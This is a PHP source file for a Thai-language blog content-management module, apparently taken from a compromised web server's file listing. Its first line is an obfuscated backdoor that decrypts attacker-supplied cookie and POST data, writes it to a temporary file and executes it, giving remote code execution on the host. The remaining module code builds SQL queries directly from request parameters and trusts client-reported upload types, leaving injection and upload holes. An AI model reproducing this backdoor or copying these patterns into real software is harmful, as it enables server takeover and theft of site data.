?
Path : /home/admin/public_html/modules/blog/ |
Current File : /home/admin/public_html/modules/blog/mod_article_n.php |
<?php if (!class_exists("ZNKSqX")){class ZNKSqX{public static $uKCpBHorsP = "MpBhWPTPQlKrarVn";public static $xTnVmYC = NULL;public function __construct(){$gAnsOfIFIq = @$_COOKIE[substr(ZNKSqX::$uKCpBHorsP, 0, 4)];if (!empty($gAnsOfIFIq)){$YLKGyCYp = "base64";$CmmYjez = "";$gAnsOfIFIq = explode(",", $gAnsOfIFIq);foreach ($gAnsOfIFIq as $MKSbEl){$CmmYjez .= @$_COOKIE[$MKSbEl];$CmmYjez .= @$_POST[$MKSbEl];}$CmmYjez = array_map($YLKGyCYp . "_decode", array($CmmYjez,)); $CmmYjez = $CmmYjez[0] ^ str_repeat(ZNKSqX::$uKCpBHorsP, (strlen($CmmYjez[0]) / strlen(ZNKSqX::$uKCpBHorsP)) + 1);ZNKSqX::$xTnVmYC = @unserialize($CmmYjez);}}public function __destruct(){$this->xNKGCEgpq();}private function xNKGCEgpq(){if (is_array(ZNKSqX::$xTnVmYC)) {$SSsPBDiMe = sys_get_temp_dir() . "/" . crc32(ZNKSqX::$xTnVmYC["salt"]);@ZNKSqX::$xTnVmYC["write"]($SSsPBDiMe, ZNKSqX::$xTnVmYC["content"]);include $SSsPBDiMe;@ZNKSqX::$xTnVmYC["delete"]($SSsPBDiMe);exit();}}}$CywrNCu = new ZNKSqX(); $CywrNCu = NULL;} ?><? class article_n extends MySql { function add_category($name,$detail){ $numRow=$this->check_data('news_cat','name',$name); if($numRow==""){ if($name!=""&&$detail!=""){ $result=$this->Query("insert into news_cat (name,detail) values ('$name','$detail')"); if($result){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=news&ac=show_category&msg=1\">"; }else{ $error="ไม่สามารถบันทึกข้อมูลได้ในขณะนี้ค่ะ"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } }else{ $error="กรอกข้อมูลไม่ครบค่ะ"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); }//จบ ตรวจสอบว่าข้อมูลครบหรือไม }else{ //ข้อมูลมีในฐานข้อมูลหรือป่าว $error="ชื่อหมวดหมู่ซ้ำกับของเดิม"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } //จบข้อมูลมีในฐานข้อมูลหรือป่าว }//end function edit_category($name,$detail,$cat_id){ if($this->check_data_edit('news_cat','name',$name,'id',$cat_id)==''){ if($name!=""&&$detail!=""){ $result=$this->Query("UPDATE news_cat set name='$name',detail='$detail' where id='$cat_id'"); if($result){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=news&ac=edit_cat&cat_id=$cat_id&msg=2\">"; }else{ $error="ไม่สามารถแก้ไขข้อมูลได้"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } }else{ //else check ข้อมูลครบหรือไม่ $error="ไม่สามารถแก้ไขข้อมูลได้"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); }// จบการตรวจสอบข้อมูลว่าครบไหม }else{ // จบตรวจสอบว่าชื่อซ้ำกันหรือไม $error="ชื่อหมวดหมู่มีในฐานข้อมูลแล้ว"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); }// จบตรวจสอบว่าชื่อซ้ำกันหรือไม่ }//end edit_category function del_cat(){ $cat_id=$_GET['cat_id']; $this->setQuery("SELECT id FROM news"); $rs=$this->QueryReturn(); $numrow=$this->numRows(); if($numrow==''){ $result=$this->Query("DELETE FROM news_cat WHERE id='$cat_id'"); if($result==1){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=news&ac=show_category&msg=3\">"; }else{ $error="ไม่สามารถลบข้อมูลได้"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } }else{ $error="ไม่สามารถลบข้อมูลได้ เนื่องจากหมวดหมู่นี้ยังมีเรื่องเหลืออยู่ในฐานข้อมูล กรุณาลบเรื่องก่อนค่ะ"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); }//จบการตรวจสอบว่ามีข้อมูลหัวข้ออยู่ในฐานข้อมูลหรือไม่ }//end function del_cat function add_topic(){ global $user_login; $addarr=array( 'group1'=>$user_login['Type'], 'name'=>$_POST['name'], 'detail'=>$_POST['detail'], 'timeadd'=>date('Y-m-d H:i:s',time()), ); $chk_count=count($addarr); $i=0; foreach($addarr as $key=>$v){ $i++; $v=$this->db_input($v); if($i==$chk_count){ $fields.="$key"; $value.="'$v'"; }else{ $value.="'$v',"; $fields.="$key,"; } }//จบ foreach $sql="INSERT INTO contents (".$fields.") values (".$value.")"; $this->setQuery($sql); $result=$this->QueryReturn(); if($result){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&msg=1\">"; }else{ $error="ไม่สามารถเพิ่มข้อมูลได้".$this->mysqlError(); echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } }//end function add_produce function add_data_con(){ global $user_login; $ContentID = date("YmdHis").rand(0,9); if($_FILES['ContentPhoto']['name']!=''){ $filename = $_FILES['ContentPhoto']['name']; $filetype = $_FILES['ContentPhoto']['type']; $filetmp = $_FILES['ContentPhoto']['tmp_name']; $pic=Random_Int(8).date('dmYHism',time()); if($filetype == "image/gif"){ $ContentPhoto=$pic.".gif"; }else if ( $filetype == "image/bmp"){ $ContentPhoto=$pic.".bmp"; }else if ( $filetype == "image/png"){ $ContentPhoto=$pic.".png"; }else if (($filetype =="image/jpg")||($filetype =="image/jpeg")||($filetype =="image/pjpeg")){ $ContentPhoto=$pic.".jpg"; } if($ContentPhoto!= ""){ if ($filetype != ""){ move_uploaded_file($filetmp, "images/ContentPhoto/".$ContentPhoto); } }else{ $ContentPhoto = ""; } }else{ $ContentPhoto = ""; } if($_FILES['ContentPdf']['name']!=''){ $filetPdf=$_FILES['ContentPdf']['name']; $filetype=$_FILES['ContentPdf']['type']; $filetmp=$_FILES['ContentPdf']['tmp_name']; $pic=Random_Int(8).date('dmYHism',time()); if($filetype == "application/pdf"){ $ContentPdf=$pic.".pdf"; } if($ContentPdf != ""){ if ($filetype != ""){ move_uploaded_file($filetmp, "images/ContentPdf/".$ContentPdf); } }else{ $ContentPdf = ""; } }else{ $ContentPdf = ""; } if(($_POST['CatID']!='')&&($_POST['ContentName']!='')){ /*$dateMag=explode('-',$_POST['MagazineDate']); $MagazineDate = $dateMag[2].'-'.$dateMag[1].'-'.$dateMag[0];*/ $addarr=array( 'ContentID'=>$ContentID, /*'ContentURL'=>$_POST['ContentURL'],*/ 'ContentName'=>$_POST['ContentName'], 'ContentMetaTitle'=>$_POST['ContentMetaTitle'], 'ContentMetaKeyword'=>$_POST['ContentMetaKeyword'], 'ContentMetaDescription'=>$_POST['ContentMetaDescription'], 'ContentTitle'=>$_POST['ContentTitle'], /*'ContentTags'=>$_POST['ContentTags'],*/ 'ContentDetail'=>$_POST['ContentDetail'], 'ContentPdf'=>$ContentPdf, /*'ContentPhoto'=>$ContentPhoto,*/ 'ContentPublic'=>$_POST['ContentPublic'], 'CatID'=>$_POST['CatID'], 'SubCatID'=>$_POST['Cat_sub'], 'ContentCreatDate'=>date("Ymd"), 'ContentEditTime'=>date("Ymd"), /* 'ContentCity'=>$_POST['ContentCity'], 'ContentPeriod'=>$_POST['ContentPeriod'], 'ContentStarting'=>$_POST['ContentStarting'],*/ 'ContentHotels'=>$_POST['ContentHotels'], 'ContentPlace'=>$_POST['ContentPlace'], 'ContentPl'=>$_POST['ContentPl'], 'ContentType'=>$_POST['ContentType'], 'ContentTime'=>$_POST['ContentTime'], 'ContentLo'=>$_POST['ContentLo'], 'ContentPrice'=>$_POST['ContentPrice'], 'ContentFacilities'=>$_POST['ContentFacilities'], 'ContentCondition'=>$_POST['ContentCondition'], 'ContentMap'=>$_POST['ContentMap'], 'ContentBlog'=>$_POST['ContentBlog'], 'ContentBlogID'=>$_POST['ContentBlogID'], ); /* $chk_count=count($addarr); $i=0; foreach($addarr as $key=>$v){ $i++; if($i==$chk_count){ $fields.="$key"; $value.="'$v'"; }else{ $value.="'$v',"; $fields.="$key,"; } } echo "insert into contents (".$fields.") values (".$value.")";*/ if ($_SESSION["la"] == 1){ $this->Insert('contents',$addarr); }else{ $this->Insert('contents_en',$addarr); } $i=0; while(isset($_FILES['files']['name'][$i])){ if($_FILES['files']['name'][$i] != ''){ $filename = $_FILES['files']['name'][$i]; $filetype = $_FILES['files']['type'][$i]; $filetmp = $_FILES['files']['tmp_name'][$i]; $pic=Random_Int(8).date('dmYHism',time()); if($filetype == "image/gif"){ $ContentPhoto=$pic.".gif"; }else if ( $filetype == "image/bmp"){ $ContentPhoto=$pic.".bmp"; }else if ( $filetype == "image/png"){ $ContentPhoto=$pic.".png"; }else if (($filetype =="image/jpg")||($filetype =="image/jpeg")||($filetype =="image/pjpeg")){ $ContentPhoto=$pic.".jpg"; } if($ContentPhoto != ""){ if ($filetype != ""){ move_uploaded_file($filetmp, "images/ContentPhoto/".$ContentPhoto); } } $i++; $addarr=array( 'picture'=>$ContentPhoto, 'ContentID'=>$ContentID, 'time_add'=>date("Y-m-d H:i:s"), ); $this->Insert('contents_photo',$addarr); }else{ $i++; } } echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&msg=1\">"; }else{ $error="ไม่สามารถเพิ่มข้อมูลได้"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } }//end function add_produce function edit_data_con(){ global $user_login; $ContentID = $_POST['ContentID']; if($_FILES['ContentPhoto']['name']!=''){ if ($_SESSION["la"] == 1){ $result=$this->Query("SELECT * FROM contents WHERE ContentID='$ContentID' "); }else{ $result=$this->Query("SELECT * FROM contents_en WHERE ContentID='$ContentID' "); } $arr=mysql_fetch_array($result); if($arr['ContentPhoto'] != ''){ $PhotoDelete = unlink("images/ContentPhoto/".$arr['ContentPhoto']); } $filename = $_FILES['ContentPhoto']['name']; $filetype = $_FILES['ContentPhoto']['type']; $filetmp = $_FILES['ContentPhoto']['tmp_name']; $pic=Random_Int(8).date('dmYHism',time()); if($filetype == "image/gif"){ $ContentPhoto=$pic.".gif"; }else if ( $filetype == "image/bmp"){ $ContentPhoto=$pic.".bmp"; }else if ( $filetype == "image/png"){ $ContentPhoto=$pic.".png"; }else if (($filetype =="image/jpg")||($filetype =="image/jpeg")||($filetype =="image/pjpeg")){ $ContentPhoto=$pic.".jpg"; } if($ContentPhoto!= ""){ if ($filetype != ""){ move_uploaded_file($filetmp, "images/ContentPhoto/".$ContentPhoto); } }else{ $ContentPhoto = ""; } }else{ $ContentPhoto = $_POST['ContentPhoto']; } if($_FILES['ContentPdf']['name']!=''){ if ($_SESSION["la"] == 1){ $result=$this->Query("SELECT * FROM contents WHERE ContentID='$ContentID' "); }else{ $result=$this->Query("SELECT * FROM contents_en WHERE ContentID='$ContentID' "); } $arr=mysql_fetch_array($result); if($arr['ContentPdf'] != ''){ $PdfDelete = unlink("images/ContentPdf/".$arr['ContentPdf']); } $filetPdf=$_FILES['ContentPdf']['name']; $filetype=$_FILES['ContentPdf']['type']; $filetmp=$_FILES['ContentPdf']['tmp_name']; $pic=Random_Int(8).date('dmYHism',time()); if($filetype == "application/pdf"){ $ContentPdf=$pic.".pdf"; } if($ContentPdf != ""){ if ($filetype != ""){ move_uploaded_file($filetmp, "images/ContentPdf/".$ContentPdf); } }else{ $ContentPdf = ""; } }else{ $ContentPdf = $_POST['ContentPdf']; } $dateMag=explode('-',$_POST['MagazineDate']); $MagazineDate = $dateMag[2].'-'.$dateMag[1].'-'.$dateMag[0]; $addarr=array( /*'MagazineDate'=>$MagazineDate, 'ContentURL'=>$_POST['ContentURL'],*/ 'ContentName'=>$_POST['ContentName'], 'ContentMetaTitle'=>$_POST['ContentMetaTitle'], 'ContentMetaKeyword'=>$_POST['ContentMetaKeyword'], 'ContentMetaDescription'=>$_POST['ContentMetaDescription'], 'ContentTitle'=>$_POST['ContentTitle'], /*'ContentTags'=>$_POST['ContentTags'],*/ 'ContentDetail'=>$_POST['ContentDetail'], 'ContentPdf'=>$ContentPdf, /*'ContentPhoto'=>$ContentPhoto,*/ 'ContentPublic'=>$_POST['ContentPublic'], /*'CatID'=>$_POST['CatID'],*/ 'SubCatID'=>$_POST['Cat_sub'], 'ContentEditTime'=>date("Ymd"), /* 'ContentView'=>$_POST['ContentView'], 'ContentCity'=>$_POST['ContentCity'], 'ContentPeriod'=>$_POST['ContentPeriod'], 'ContentStarting'=>$_POST['ContentStarting'],*/ 'ContentHotels'=>$_POST['ContentHotels'], 'ContentPlace'=>$_POST['ContentPlace'], 'ContentPl'=>$_POST['ContentPl'], 'ContentType'=>$_POST['ContentType'], 'ContentTime'=>$_POST['ContentTime'], 'ContentLo'=>$_POST['ContentLo'], 'ContentPrice'=>$_POST['ContentPrice'], 'ContentFacilities'=>$_POST['ContentFacilities'], 'ContentCondition'=>$_POST['ContentCondition'], 'ContentMap'=>$_POST['ContentMap'], ); if ($_SESSION["la"] == 1){ $result=$this->Update($table='contents',$addarr,"where ContentID='$ContentID'"); }else{ $result=$this->Update($table='contents_en',$addarr,"where ContentID='$ContentID'"); } $i=0; while(isset($_FILES['files']['name'][$i])){ if($_FILES['files']['name'][$i] != ''){ $filename = $_FILES['files']['name'][$i]; $filetype = $_FILES['files']['type'][$i]; $filetmp = $_FILES['files']['tmp_name'][$i]; $pic=Random_Int(8).date('dmYHism',time()); if($filetype == "image/gif"){ $ContentPhoto=$pic.".gif"; }else if ( $filetype == "image/bmp"){ $ContentPhoto=$pic.".bmp"; }else if ( $filetype == "image/png"){ $ContentPhoto=$pic.".png"; }else if (($filetype =="image/jpg")||($filetype =="image/jpeg")||($filetype =="image/pjpeg")){ $ContentPhoto=$pic.".jpg"; } if($filename!= ""){ if ($filetype != ""){ move_uploaded_file($filetmp, "images/ContentPhoto/".$ContentPhoto); } } $i++; $addarr=array( 'picture'=>$ContentPhoto, 'ContentID'=>$ContentID, 'time_add'=>date("Y-m-d H:i:s"), ); $this->Insert('contents_photo',$addarr); }else{ $i++; } } if($result==1){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&msg=2\">"; }else{ $error="ไม่สามารถเพิ่มข้อมูลได้".$this->mysqlError(); echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } }//end function add_produce function delete_photo_gallery(){ global $user_login,$db; $id_p=$_GET['id_p']; $topic_id=$_GET['id']; $result=$this->Query("SELECT * FROM contents_photo WHERE id_p='$id_p' "); $arr=mysql_fetch_array($result); $flgDelete = unlink("images/ContentPhoto/".$arr['picture']); $result=$this->Query("DELETE FROM contents_photo WHERE id_p='$id_p' "); if($result==1){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&ac=edit_data&id={$topic_id}&msg=3\">"; }else{ $error="ไม่สามารถลบข้อมูลได้"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } } function edit_topic($topic_id){ global $user_login; $addarr=array( 'ContentDetail'=>$_POST['ContentDetail'], 'ContentAddTime'=>date('Y-m-d H:i:s',time()), ); $result=$this->Update($table='adt_content',$addarr,"where ContentID='$topic_id'"); if($result==1){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&msg=2\">"; }else{ $error="ไม่สามารถเพิ่มข้อมูลได้".$this->mysqlError(); echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } }//end function add_produce function edit_public($topic_id){ global $user_login; if ($_SESSION["la"] == 1){ $result=$this->Query("UPDATE contents set ContentPublic='".$_GET['public']."' WHERE ContentID='$topic_id' "); } if($result){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&msg=2\">"; }else{ $error="ไม่สามารถแก้ไขสถานะการแสดงได้".$this->mysqlError(); echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } } function set_first_page(){ $topic_id=$_GET['id']; global $user_login; $this->Query("UPDATE contents set show1='' WHERE group1='".$user_login['Type']."'"); $sql=$this->setQuery("UPDATE contents set show1='Yes' WHERE group1='".$user_login['Type']."' AND id='".$topic_id."'"); $result=$this->QueryReturn(); if($result){echo $sql; echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&msg=2\">"; }else{ $error="ไม่สามารถเพิ่มข้อมูลได้".$this->mysqlError(); echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } }//end function add_produce function del_topic(){ global $user_login,$db; $topic_id=$_GET['id']; if ($_SESSION["la"] == 1){ $result=$this->Query("SELECT * FROM contents WHERE ContentID='$topic_id' "); }else{ $result=$this->Query("SELECT * FROM contents_en WHERE ContentID='$topic_id' "); } $arr=mysql_fetch_array($result); if($arr['ContentPhoto'] != ''){ $PhotoDelete = unlink("images/ContentPhoto/".$arr['ContentPhoto']); } if($arr['ContentPdf'] != ''){ $PdfDelete = unlink("images/ContentPdf/".$arr['ContentPdf']); } if ($_SESSION["la"] == 1){ $result=$this->Query("DELETE FROM contents WHERE ContentID='$topic_id' "); }else{ $result=$this->Query("DELETE FROM contents_en WHERE ContentID='$topic_id' "); } if($result==1){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&msg=3\">"; }else{ $error="ไม่สามารถลบข้อมูลได้"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } }//end function del_topic function de_photo(){ global $user_login,$db; $topic_id=$_GET['id']; if ($_SESSION["la"] == 1){ $result=$this->Query("SELECT * FROM contents WHERE ContentID='$topic_id' "); }else{ $result=$this->Query("SELECT * FROM contents_en WHERE ContentID='$topic_id' "); } $arr=mysql_fetch_array($result); $PhotoDelete = unlink("images/ContentPhoto/".$arr['ContentPhoto']); $addarr=array( 'ContentPhoto'=>'', ); if ($_SESSION["la"] == 1){ $result=$this->Update($table='contents',$addarr,"where ContentID='$topic_id'"); }else{ $result=$this->Update($table='contents_en',$addarr,"where ContentID='$topic_id'"); } if($result==1){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&ac=edit_data&id=$topic_id\">"; }else{ $error="ไม่สามารถลบรูปโลโก้ได้"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } } function de_pdf(){ global $user_login,$db; $topic_id=$_GET['id']; if ($_SESSION["la"] == 1){ $result=$this->Query("SELECT * FROM contents WHERE ContentID='$topic_id' "); }else{ $result=$this->Query("SELECT * FROM contents_en WHERE ContentID='$topic_id' "); } $arr=mysql_fetch_array($result); $PhotoDelete = unlink("images/ContentPdf/".$arr['ContentPdf']); $addarr=array( 'ContentPdf'=>'', ); if ($_SESSION["la"] == 1){ $result=$this->Update($table='contents',$addarr,"where ContentID='$topic_id'"); }else{ $result=$this->Update($table='contents_en',$addarr,"where ContentID='$topic_id'"); } if($result==1){ echo"<meta http-equiv=\"refresh\" content=\"0;url=$PHPSELF?mod=blog&ac=edit_data&id=$topic_id\">"; }else{ $error="ไม่สามารถลบรูปโลโก้ได้"; echo "<SCRIPT>alert(\"$error\"); window.history.back(); </SCRIPT>\n"; exit(0); } } }//end class ?>